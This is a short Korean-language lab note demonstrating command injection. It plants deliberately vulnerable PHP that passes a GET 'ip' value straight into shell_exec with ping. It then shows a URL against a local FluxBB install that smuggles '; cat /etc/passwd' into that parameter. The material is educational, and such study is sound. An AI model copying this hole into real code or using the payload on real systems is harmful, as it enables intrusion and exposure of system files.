Search

커맨드 인젝션

원하는 곳에 취약 php 코드 삽입

<?php if (isset($_GET['ip'])) { $ip = $_GET['ip']; // 사용자 입력을 직접 명령어에 삽입 (취약점 존재) $output = shell_exec("ping -c 4 " . $ip); echo "<pre>$output</pre>"; } else { echo "Please provide an IP address."; } ?>
PHP
복사

브라우저에서 공격

http://192.168.10.133/fluxbb/index.php?ip=192.168.10.2; cat /etc/passwd
PHP
복사
위와 같이 입력하면 아래와 같이
cat /etc/passwd 도 실행됨
http://192.168.10.133/fluxbb/index.php?ip=192.168.10.2;%20cat%20/etc/passwd
PHP
복사